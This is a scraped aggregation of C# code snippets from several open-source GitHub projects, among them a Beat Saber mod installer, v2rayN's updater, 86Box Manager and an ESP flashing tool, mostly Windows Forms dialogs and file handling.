                        DirectoryInfo dovrdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dovr");
                        foreach (DirectoryInfo dovrdir in dovrdi.GetDirectories())
                        {
                            if (dovrdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in dovrdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name))
                                    {
                                        File.Delete(bsl + @"\Plugins\" + file.Name);
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                            if (dovrdir.Name == "Libs")
                            {
                                foreach (FileInfo file in dovrdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Libs\" + file.Name))
                                    {
                                        File.Delete(bsl + @"\Libs\" + file.Name);
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }
                                }
                            }
                        }
                    }
                }
                    if (dir.Name == "multiplayer")
                    {
                        DirectoryInfo multiplayerdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\multiplayer");
                        foreach (DirectoryInfo multiplayerdir in multiplayerdi.GetDirectories())
                        {
                            if (multiplayerdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in multiplayerdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                            if (multiplayerdir.Name == "Libs")
                            {
                                foreach (FileInfo file in multiplayerdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Libs\" + file.Name)) {
                                    File.Delete(bsl + @"\Libs\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Libs\" + file.Name);
                                    }  
                                }
                            }
                        }
                    }
                }
            if(multiselected == "a")
            {
                if (File.Exists(@"Files\CustomAvatar.dll"))
                {
                    if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
                        File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
                    }
                    else
                    {
                        File.Move(@"Files\CustomAvatar.dll", bsl + @"\Plugins\CustomAvatar.dll");
                    }
                }
            }
                
                statuslabel.Text = "Status: Complete!";
            progressBar1.Value = 100;
            allowinstalluninstall = true;
                currentlyinstallinguninstalling = false;
                button3.BackColor = SystemColors.MenuHighlight;
                button4.BackColor = SystemColors.MenuHighlight;
                DialogResult dialogResult = MessageBox.Show("Multiplayer is installed! Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (dialogResult == DialogResult.Yes)
                {
                    Application.Exit();
                }
        }

19 View Source File : MainForm.cs
License : GNU General Public License v3.0
Project Creator : 2dust

private void btnOK_Click(object sender, EventArgs e)
        {
            try
            {
                Process[] existing = Process.GetProcessesByName("v2rayN");
                foreach (Process p in existing)
                {
                    string path = p.MainModule.FileName;
                    if (path == GetPath("v2rayN.exe"))
                    {
                        p.Kill();
                        p.WaitForExit(100);
                    }
                }
            }
            catch (Exception ex)
            {
                // Access may be denied without admin right. The user may not be an administrator.
                showWarn("Failed to close v2rayN(关闭v2rayN失败).\n" +
                    "Close it manually, or the upgrade may fail.(请手动关闭正在运行的v2rayN,否则可能升级失败。\n\n" + ex.StackTrace);
            }

            StringBuilder sb = new StringBuilder();
            try
            {
                if (!File.Exists(fileName))
                {
                    if (File.Exists(defaultFilename))
                    {
                        fileName = defaultFilename;
                    }
                    else
                    {
                        showWarn("Upgrade Failed, File Not Exist(升级失败,文件不存在).");
                        return;
                    }
                }

                string thisAppOldFile = Application.ExecutablePath + ".tmp";
                File.Delete(thisAppOldFile);
                string startKey = "v2rayN/";


                using (ZipArchive archive = ZipFile.OpenRead(fileName))
                {
                    foreach (ZipArchiveEntry entry in archive.Entries)
                    {
                        try
                        {
                            if (entry.Length == 0)
                            {
                                continue;
                            }
                            string fullName = entry.FullName;
                            if (fullName.StartsWith(startKey))
                            {
                                fullName = fullName.Substring(startKey.Length, fullName.Length - startKey.Length);
                            }
                            if (Application.ExecutablePath.ToLower() == GetPath(fullName).ToLower())
                            {
                                File.Move(Application.ExecutablePath, thisAppOldFile);
                            }

                            string entryOuputPath = GetPath(fullName);

                            FileInfo fileInfo = new FileInfo(entryOuputPath);
                            fileInfo.Directory.Create();
                            entry.ExtractToFile(entryOuputPath, true);
                        }
                        catch (Exception ex)
                        {
                            sb.Append(ex.StackTrace);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                showWarn("Upgrade Failed(升级失败)." + ex.StackTrace);
                return;
            }
            if (sb.Length > 0)
            {
                showWarn("Upgrade Failed,Hold ctrl + c to copy to clipboard.\n" +
                    "(升级失败,按住ctrl+c可以复制到剪贴板)." + sb.ToString());
                return;
            }

            Process.Start("v2rayN.exe");
            MessageBox.Show("Upgrade successed(升级成功)", "", MessageBoxButtons.OK, MessageBoxIcon.Information);

            Close();
        }

19 View Source File : UI.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static DialogResult ShowYesNo(string msg)
        {
            return MessageBox.Show(msg, "v2rayN", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

private void Form1_Load(object sender, EventArgs e)
        {
            // check for internet
            if (CheckForInternetConnection() == true) { }
            else
            {
                MessageBox.Show("An Internet Connection is required!", "Not Connected to Internet", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit();
            }
            // check if user can access website
            if (CheckForWebsiteConnection() == true) { }
            else
            {
                MessageBox.Show("Failed to connect to https://tigersserver.xyz. Please try again soon.", "Failed to Connect", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit();
            }

            WebClient client = new WebClient();
            Stream stream = client.OpenRead("https://pastebin.com/raw/S8v9a7Ba");
            StreamReader reader = new StreamReader(stream);
            String content = reader.ReadToEnd();
            if(version != content)
            {
                DialogResult drUpdate = MessageBox.Show("BSMulti-Installer is not up to date! Would you like to download the newest version?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                if(drUpdate == DialogResult.Yes)
                {
                    System.Diagnostics.Process.Start("https://github.com/200Tigersbloxed/BSMulti-Installer/releases/latest");
                    Application.Exit();
                }
            }

            checkForMessage();
            
            Directory.CreateDirectory("Files");
        }

19 View Source File : dlgCloneVM.cs
License : MIT License
Project Creator : 86Box

private void btnClone_Click(object sender, EventArgs e)
        {
            if (main.VMCheckIfExists(txtName.Text))
            {
                MessageBox.Show("A virtual machine with this name already exists. Please pick a different name.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            if (txtName.Text.IndexOfAny(Path.GetInvalidFileNameChars()) >= 0)
            {
                MessageBox.Show("There are invalid characters in the name you specified. You can't use the following characters: \\ / : * ? \" < > |", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            //Just import stuff from the existing VM
            main.VMImport(txtName.Text, txtDescription.Text, oldPath, cbxOpenCFG.Checked, cbxStartVM.Checked);
            Close();
        }

19 View Source File : HelpEngine.cs
License : MIT License
Project Creator : 0xLaileb

public static void MSB_Error(string text) => System.Windows.Forms.MessageBox.Show(text, "FC-UI", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);

19 View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box

private void dlgSettings_FormClosing(object sender, FormClosingEventArgs e)
        {
            //Unsaved changes, ask the user to confirm
            if (settingsChanged == true)
            {
                e.Cancel = true;
                DialogResult result = MessageBox.Show("Would you like to save the changes you've made to the settings?", "Unsaved changes", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question);
                if (result == DialogResult.Yes)
                {
                    SaveSettings();
                }
                if (result != DialogResult.Cancel)
                {
                    e.Cancel = false;
                }
            }
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

private void button3_Click(object sender, EventArgs e)
        {
            this.folderBrowserDialog1 = new System.Windows.Forms.FolderBrowserDialog();

            if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)
            {
                string selectedPath = folderBrowserDialog1.SelectedPath;
                if (File.Exists(selectedPath + @"\Beat Saber.exe"))
                {
                    if (File.Exists(selectedPath + @"\IPA.exe"))
                    {
                        bsl = selectedPath;
                        textBox1.Text = bsl;
                        pictureBox1.Image = BSMulti_Installer2.Properties.Resources.tick;
                        button4.BackColor = SystemColors.MenuHighlight;
                        allownext = true;
                        runVerifyCheck();
                        findMultiplayerVersion();
                    }
                    else
                    {
                        MessageBox.Show("IPA.exe was not found! Is Beat Saber Modded?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                else
                {
                    MessageBox.Show("Beat Saber was not found in this location! Is Beat Saber Installed?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
        }

19 View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box

private void LoadSettings()
        {
            try
            {
                RegistryKey regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", false); //Open the key as read only

                //If the key doesn't exist yet, fallback to defaults
                if (regkey == null)
                {
                    MessageBox.Show("86Box Manager settings could not be loaded. This is normal if you're running 86Box Manager for the first time. Default values will be used.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);

                    //Create the key and reopen it for write access
                    Registry.CurrentUser.CreateSubKey(@"SOFTWARE\86Box");
                    regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true);
                    regkey.CreateSubKey("Virtual Machines");

                    txtCFGdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\86Box VMs\";
                    txtEXEdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + @"\86Box\";
                    cbxMinimize.Checked = false;
                    cbxShowConsole.Checked = true;
                    cbxMinimizeTray.Checked = false;
                    cbxCloseTray.Checked = false;
                    cbxLogging.Checked = false;
                    txtLaunchTimeout.Text = "5000";
                    txtLogPath.Text = "";
                    cbxGrid.Checked = false;
                    btnBrowse3.Enabled = false;
                    txtLogPath.Enabled = false;

                    SaveSettings(); //This will write the default values to the registry
                }
                else
                {
                    txtEXEdir.Text = regkey.GetValue("EXEdir").ToString();
                    txtCFGdir.Text = regkey.GetValue("CFGdir").ToString();
                    txtLaunchTimeout.Text = regkey.GetValue("LaunchTimeout").ToString();
                    txtLogPath.Text = regkey.GetValue("LogPath").ToString();
                    cbxMinimize.Checked = Convert.ToBoolean(regkey.GetValue("MinimizeOnVMStart"));
                    cbxShowConsole.Checked = Convert.ToBoolean(regkey.GetValue("ShowConsole"));
                    cbxMinimizeTray.Checked = Convert.ToBoolean(regkey.GetValue("MinimizeToTray"));
                    cbxCloseTray.Checked = Convert.ToBoolean(regkey.GetValue("CloseToTray"));
                    cbxLogging.Checked = Convert.ToBoolean(regkey.GetValue("EnableLogging"));
                    cbxGrid.Checked = Convert.ToBoolean(regkey.GetValue("EnableGridLines"));
                    txtLogPath.Enabled = cbxLogging.Checked;
                    btnBrowse3.Enabled = cbxLogging.Checked;
                }

                regkey.Close();
            }
            catch (Exception ex)
            {
                txtCFGdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + @"\86Box VMs";
                txtEXEdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + @"\86Box";
                cbxMinimize.Checked = false;
                cbxShowConsole.Checked = true;
                cbxMinimizeTray.Checked = false;
                cbxCloseTray.Checked = false;
                cbxLogging.Checked = false;
                txtLaunchTimeout.Text = "5000";
                txtLogPath.Text = "";
                cbxGrid.Checked = false;
                txtLogPath.Enabled = false;
                btnBrowse3.Enabled = false;
            }
        }

19 View Source File : SteamBotController.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

static void OnChatMessage(SteamFriends.FriendMsgCallback callback)
        {
            if (callback.EntryType == EChatEntryType.ChatMsg)
            {             
                if (SteamTwoProperties.jsonSetting.notifyOnMessageSetting && !chatOpen)
                {
                    System.Windows.Forms.MessageBox.Show("New Message!" , "Steam Two" , System.Windows.Forms.MessageBoxButtons.OK,System.Windows.Forms.MessageBoxIcon.Information);
                }
                if (SteamTwoProperties.jsonSetting.forwardCheckSetting)
                {
                    steamFriends.SendChatMessage(new SteamID(SteamTwoProperties.jsonSetting.forwardSetting), EChatEntryType.ChatMsg, "<<New Message>>  " + AccountController.getAccount(user).getFriendsName(new Friend() { steamFrindsID = callback.Sender.ConvertToUInt64().ToString() }) + " : " + callback.Message.ToString());}
                AccountController.getAccount(user).updateChatLogs(new Friend() { steamFrindsID =callback.Sender.ConvertToUInt64().ToString() }, callback.Message.ToString(), false);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 86Box

[STAThread]
        static void Main()
        {
            if (Environment.OSVersion.Version.Major >= 6)
                SetProcessDPIAware();

            SetCurrentProcessExplicitAppUserModelID(AppID);
            const string name = "86Box Manager";

            //Use a mutex to check if this is the first instance of Manager
            mutex = new Mutex(true, name, out bool firstInstance);

            //If it's not, we need to restore and focus the existing window, as well as preplaced on any potential command line arguments
            if (!firstInstance)
            {
                //Finds the existing window, unhides it, restores it and sets focus to it
                IntPtr hWnd = FindWindow(null, "86Box Manager");
                ShowWindow(hWnd, ShowWindowEnum.Show);
                ShowWindow(hWnd, ShowWindowEnum.Restore);
                SetForegroundWindow(hWnd);

                //If this second instance comes from a VM shortcut, we need to preplaced on the command line arguments so the VM will start
                //in the existing instance.
                //NOTE: This code will have to be modified in case more command line arguments are added in the future.
                if (args.Length == 3 && args[1] == "-S" && args[2] != null)
                {
                    string message = args[2];
                    COPYDATASTRUCT cds;
                    cds.dwData = IntPtr.Zero;
                    cds.lpData = Marshal.StringToHGlobalAnsi(message);
                    cds.cbData = message.Length;
                    SendMessage(hWnd, WM_COPYDATA, IntPtr.Zero, ref cds);
                }

                return;
            }
            else
            {
                //Then check if any instances of 86Box are already running and warn the user
                Process[] pname = Process.GetProcessesByName("86box");
                if (pname.Length > 0)
                {
                    DialogResult result = MessageBox.Show("At least one instance of 86Box.exe is already running. It's not recommended that you run 86Box.exe directly outside of Manager. Do you want to continue at your own risk?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                    if (result == DialogResult.No)
                    {
                        return;
                    }
                }
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new frmMain());
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 2401dem

public static int Denoise()
        {
            if (_is_folder)
            {
                if (Directory.Exists(_input_path) || Directory.Exists(_input_path.Substring(0, _input_path.LastIndexOf('\\') > 0 ? _input_path.LastIndexOf('\\') : 0)))
                {
                    if (Directory.Exists(_output_path) || Directory.Exists(_output_path.Substring(0, _output_path.LastIndexOf('\\') > 0 ? _output_path.LastIndexOf('\\') : 0)))
                    {
                        var file_paths = Directory.GetFiles(_input_path, "*.*", SearchOption.TopDirectoryOnly);
                        List<string> input_file_paths = new List<string>();
                        List<string> output_file_paths = new List<string>();
                        foreach (string file_path in file_paths)
                        {
                            Regex regex = new Regex(".\\.(bmp|jpg|png|tif|exr)$", RegexOptions.IgnoreCase);
                            if (regex.IsMatch(file_path))
                            {
                                input_file_paths.Add(file_path);
                                output_file_paths.Add(_output_path + "\\out_" + file_path.Substring(file_path.LastIndexOf('\\') + 1));
                                Console.WriteLine(file_path);
                            }
                        }
                        int width = _getWidth(input_file_paths[0].ToCharArray());
                        int height = _getHeight(input_file_paths[0].ToCharArray());

                        if (width == -1 || height == -1)
                        {
                            MessageBox.Show("Picture Format Error!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                            Program.form1.unlockButton();
                            return -1;
                        }
                        //Bitmap pBuffer = new Bitmap(input_file_paths[0], false);
                        IntPtr tmpptr = new IntPtr();

                        _jobStart(width, height, _blend);
                        for (int i = 0; i < input_file_paths.Count; ++i)
                        {
                            Program.form1.SetProgress((float)i / (float)input_file_paths.Count);
                            if (File.Exists(output_file_paths[i]))
                                continue;
                            //IntPtr tmpptr = 
                            tmpptr = _denoiseImplement(input_file_paths[i].ToCharArray(), output_file_paths[i].ToCharArray(), _blend, _is_folder);
                            /*if (tmpptr != null)
                                if (Program.form1.DrawToPictureBox(tmpptr, pBuffer.Width, pBuffer.Height) == 0)
                                    continue;
                                else
                                {
                                    MessageBox.Show("Picture Size Error!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                    break;
                                }
                            else
                            {
                                //MessageBox.Show("Picture Size Error!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                //break;
                            }*/
                        }

                        _jobComplete();
                        if (tmpptr != null)
                            if (Program.form1.DrawToPictureBox(tmpptr, width, height) != 0)
                                MessageBox.Show("Picture Size Error!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

                        Program.form1.SetProgress(1.0f);
                        Program.form1.unlockButton();
                        return 0;
                    }
                    else
                        MessageBox.Show("Output folder does not exists!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                else
                    MessageBox.Show("Input folder does not exists!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else
            {
                if (File.Exists(_input_path))
                {
                    if (Directory.Exists(_output_path.Substring(0, _output_path.LastIndexOf('\\'))))
                    {
                        int width = _getWidth(_input_path.ToCharArray());
                        int height = _getHeight(_input_path.ToCharArray());
                        Console.WriteLine(width.ToString());
                        Console.WriteLine(height.ToString());
                        if (width == -1 || height == -1)
                        {
                            MessageBox.Show("Picture Format Error!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                            Program.form1.unlockButton();
                            return -1;
                        }

                        _jobStart(width, height, _blend);
                        IntPtr tmpptr = _denoiseImplement(_input_path.ToCharArray(), _output_path.ToCharArray(), _blend, _is_folder);
                        if (tmpptr != null)
                        {
                            if (Program.form1.DrawToPictureBox(tmpptr, width, height) == -1)
                                MessageBox.Show("Picture Size Error(NULL to Draw)!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        }
                        else
                            MessageBox.Show("Picture Size Error!(NULL Return)", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        Program.form1.SetProgress(1.0f);
                        Program.form1.unlockButton();
                        _jobComplete();
                        return 0;
                    }
                    else
                        MessageBox.Show("Output folder does not exists!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                else
                    MessageBox.Show("Input file does not exists!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            Program.form1.unlockButton();
            return -1;
        }

19 View Source File : SelectFm.cs
License : GNU General Public License v3.0
Project Creator : a4004

private async Task ListSoftwareOptions(string option)
        {
            string[] availableFiles = API.GithubManager.GetReleaseNames("spacehuhntech/esp8266_deauther", option);

            if (availableFiles == null || availableFiles.Length < 1)
            {
                MessageBox.Show("The version you selected does not have any precompiled binaries available for it, to use this version you will" +
                    " need to build the software from source and flash it as a local image from this PC.", "No Files Available", MessageBoxButtons.OK,
                    MessageBoxIcon.Warning);
                return;
            }

            foreach (string file in availableFiles)
            {
                try
                {
                    string type = Path.GetExtension(file).Replace(".", "").ToUpper();

                    Invoke(new Action(() =>
                    {
                        listView.Items.Add(new ListViewItem(new string[] { "SpacehuhnTech", Path.GetFileNameWithoutExtension(file), type}));
                    }));                
                }
                catch (Exception e)
                {
                    Program.Debug("selectfm", $"Failed to parse filename: {file}, error: {e.Message}", Event.Critical);
                    await Task.Delay(100);
                }
            }
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

private void button1_Click(object sender, EventArgs e)
        {
            // Find the Steam folder
            RegistryKey rk1s = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64);
            if (rk1s != null)
            {
                RegistryKey rk2 = rk1s.OpenSubKey("Software");
                if (rk2 != null)
                {
                    RegistryKey rk3 = rk2.OpenSubKey("Valve");
                    if (rk3 != null)
                    {
                        RegistryKey rk4 = rk3.OpenSubKey("Steam");
                        if (rk4 != null)
                        {
                            userownssteam = true;
                            string phrase = rk4.GetValue("SteamPath").ToString();
                            steaminstallpath = phrase;
                        }
                    }
                }
            }

            if(userownssteam == false)
            {
                MessageBox.Show("Uh Oh!", "Steam Could not be found!", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else{
                bsl = steaminstallpath + @"/steamapps/common/Beat Saber";
                if(Directory.Exists(bsl))
                {
                    if(File.Exists(bsl + @"\Beat Saber.exe"))
                    {
                        if(File.Exists(bsl + @"\IPA.exe"))
                        {
                            textBox1.Text = bsl;
                            pictureBox1.Image = BSMulti_Installer2.Properties.Resources.tick;
                            button4.BackColor = SystemColors.MenuHighlight;
                            allownext = true;
                            runVerifyCheck();
                            findMultiplayerVersion();
                        }
                        else
                        {
                            MessageBox.Show("IPA.exe Could not be found! Is Beat Saber Modded?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        }
                    }
                    else
                    {
                        MessageBox.Show("Beat Saber.exe Could not be found! Is Beat Saber Installed?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                else
                {
                    MessageBox.Show("Beat Saber Could not be found! Is Beat Saber Installed under Steam?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    bsl = "";
                }
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : a4004

public static void Debug(string source, string message, Event type = Event.Default)
        {
            DumpText += $"[ {DateTime.Now}]\t{source}: {message}\r\n";

            if (DumpText.Length > 500000 && AllowFileDebugging == -1)
            {
                if (MessageBox.Show("The internal debugger has detected that log contents are greater than 500kB," +
                    " would you like debugging to continue anyway?", "Large File Warning", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Warning)
                    == DialogResult.No)
                    AllowFileDebugging = 0;
                else
                    AllowFileDebugging = 1;
            }

            Console.Write($"[ {DateTime.Now}]\t");
            AdjustColor(type);
            Console.Write($"{source}: {message}\r\n");
            Console.ForegroundColor = Default;
        }

19 View Source File : TomcatMonitorForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void button1_Click(object sender, EventArgs e)
        {
            if (button1.Text == "修改")
            {
                tb_port.BorderStyle = BorderStyle.FixedSingle;
                tb_port.ReadOnly = false;
                tb_port.Location = new Point(tb_port.Location.X, tb_port.Location.Y - 2);
                button1.Text = "保存";
            }
            else if (button1.Text == "保存")
            {
                string port = tb_port.Text;
                if (port == itemConfig.tomcat.TomcatPort)
                {
                    label_msg.Text = "端口无变化";
                }
                else
                {
                    DialogResult dr = MessageBox.Show("修改端口后需要重启Tomcat才能生效,您确定要修改吗?", "操作提醒", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);
                    if (dr == System.Windows.Forms.DialogResult.OK)
                    {
                        button1.Enabled = false;
                        label_msg.Text = "修改中...";
                        try
                        {
                            string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                            targetxml = targetxml.Replace("\\", "/");
                            string serverxml = l_xml_path.Text;
                            monitorForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                            string content = YSFile.readFileToString(targetxml);
                            if (null != content)
                            {
                                content = content.Replace(itemConfig.tomcat.TomcatPort, port);

                                YSFile.writeFileByString(targetxml, content);

                                monitorForm.RunSftpShell(string.Format("put {0} {1}", targetxml, serverxml), false, false);

                                itemConfig.tomcat.TomcatPort = port;

                                AppConfig.Instance.SaveConfig(2);

                                label_msg.Text = "修改成功";
                            }
                        }
                        catch (Exception ex)
                        {
                            logger.Error("修改Tomcat端口异常:" + ex.Message, ex);
                            label_msg.Text = "修改失败";
                        }

                    }
                    else
                    {
                        tb_port.Text = itemConfig.tomcat.TomcatPort;
                    }                 
                }

                button1.Enabled = true;
                button1.Text = "修改";
                tb_port.BorderStyle = BorderStyle.None;
                tb_port.ReadOnly = true;
                tb_port.Location = new Point(tb_port.Location.X, tb_port.Location.Y + 2);

                ControlUtil.delayClearText(new DelayDelegate(labelMsg), 2000);
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : a4004

[STAThread]
        static void Main(string[] argv)
        {
            if (argv.Any(o => o.Contains("--debug") || o.Contains("-d")))
            {
                NativeMethods.AllocConsole();
                Default = Console.ForegroundColor;
                DebugMode = true;

                Console.replacedle = "Espressif Flash Manager - Debugging Console";
            }

            AllowFileDebugging = -1;
            Debug("Application init.");

            if (argv.Any(o => o.Contains("--fixdriver") || o.Contains("-fd")))
            {
                Debug("Program executed with --fixdriver flag. Device picker will be disabled and esptool will autodetect" +
                    " in order to mitigate access denied error messages.");

                Settings.PortFix = true;
            }

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);

            if (argv.Any(o => o.Contains("--portable") || o.Contains("-p")))
            {
                Portable = true;

                Debug("Program executed with the --portable flag which removes the need for Python and the esptool module" +
                    " and instead uses a precompiled (outdated) copy of the esptool.", Event.Warning);
                Debug("You are warned that using untrusted executables not provided by N2D22 exposes your computer system" +
                    " to security risks. It's recommended that you do not use this mode and instead use the Python utility.", Event.Warning);

                if (!File.Exists("esptool.exe"))
                {
                    Debug("Could not find a matching file for esptool.exe in the current working directory.", Event.Critical);

                    OpenFileDialog fileDialog = new OpenFileDialog()
                    {
                        Multiselect = false,
                        SupportMultiDottedExtensions = true,
                        Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*",
                        replacedle = "Browse for esptool binary",
                    };

                    if (fileDialog.ShowDialog() == DialogResult.OK)
                        Settings.EsptoolExe = fileDialog.FileName;
                    else
                        Terminate();                  
                }
                else
                    Settings.EsptoolExe = "esptool.exe";
            }

            Application.ThreadException += (s, e) =>
            {
                Debug("threadexception", e.Exception.ToString(), Event.Critical);

                MainWindow.Instance.Invoke(new Action(() =>
                {
                    MessageBox.Show($"{e.Exception.Message}\nThe application will terminate immediately.", "Unexpected Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Terminate();
                }));
            };
            AppDomain.CurrentDomain.UnhandledException += (s, e) =>
            {
                Debug("appdomain", e.ExceptionObject.ToString(), Event.Critical);

                MainWindow.Instance.Invoke(new Action(() =>
                {
                    MessageBox.Show($"{(e.ExceptionObject as Exception).Message}\nThe application will terminate immediately.", "Unexpected Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Terminate();
                }));
            };

            if (!argv.Any(o => o.Contains("--debugyes") || o.Contains("-dyes")) && DebugMode)
            {
                Debug("[WARN] Do not close this debugging window, doing so will prevent logging " +
                    "to the disk and may cause unintended behaviour.", Event.Critical);
                Debug("If you wish to hide this window, please run N2D22 without the --debug flag.", Event.Warning);

                string conf = string.Empty;

                do
                {
                    Console.Write("Please type \"understood\" without the quotes to continue: ");
                    conf = Console.ReadLine();
                }
                while (conf != "understood");

                Debug("To debug faster, simply append 'yes' to the --debug flag i.e. \"--debugyes\" to skip the confirmation.", Event.Success);

                Console.Write("Press any key to continue . . .");
                Console.ReadKey();
            }

            Debug("Creating MainWindow");
            Application.Run(new MainWindow());
            Debug("Window destroyed. Exiting", Event.Critical);

            if (argv.Any(o => o.Contains("--debug") || o.Contains("-d")))
                NativeMethods.FreeConsole();

            Terminate();
        }

19 View Source File : MainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

private void initLogics()
        {
            setupEncryptionKey(0, "Please enter the encryption key below");
            if (File.Exists(SAVE_FILE_NAME))
            {
                try
                {
                    getAccountData();
                }
                catch (Exception)
                {
                    System.Windows.Forms.MessageBox.Show("Error getting account information from the save file, if the file was encrypted with different preplacedword goto settings and change the preplacedword and restart the application", "Error Decrypting", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Information);
                }
                updateAccountList();
                if (SteamTwoProperties.jsonSetting.autoLoginSetting)
                {
                    loginOnSteam(true);
                }
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : ab4d

private static void Main()
        {
			RenderForm form = new RenderForm("OculusWrap SharpDX demo");

            IntPtr sessionPtr;
			InputLayout				inputLayout					= null;
			Buffer					contantBuffer				= null;
			Buffer					vertexBuffer				= null;
			ShaderSignature			shaderSignature				= null;
			PixelShader				pixelShader					= null;
			ShaderBytecode			pixelShaderByteCode			= null;
			VertexShader			vertexShader				= null;
			ShaderBytecode			vertexShaderByteCode		= null;
			Texture2D				mirrorTextureD3D			= null;
			EyeTexture[]			eyeTextures					= null;
			DeviceContext			immediateContext			= null;
			DepthStencilState		depthStencilState			= null;
			DepthStencilView		depthStencilView			= null;
			Texture2D				depthBuffer					= null;
			RenderTargetView		backBufferRenderTargetView	= null;
			Texture2D				backBuffer					= null;
			SharpDX.DXGI.SwapChain	swapChain					= null;
			Factory					factory						= null;
			MirrorTexture			mirrorTexture				= null;
			Guid					textureInterfaceId			= new Guid("6f15aaf2-d208-4e89-9ab4-489535d34f9c"); // Interface ID of the Direct3D Texture2D interface.

            Result result;

            OvrWrap OVR = OvrWrap.Create();

            // Define initialization parameters with debug flag.
            InitParams initializationParameters = new InitParams();
			initializationParameters.Flags = InitFlags.Debug | InitFlags.RequestVersion;
            initializationParameters.RequestedMinorVersion = 17;

            // Initialize the Oculus runtime.
            string errorReason = null;
            try
            {
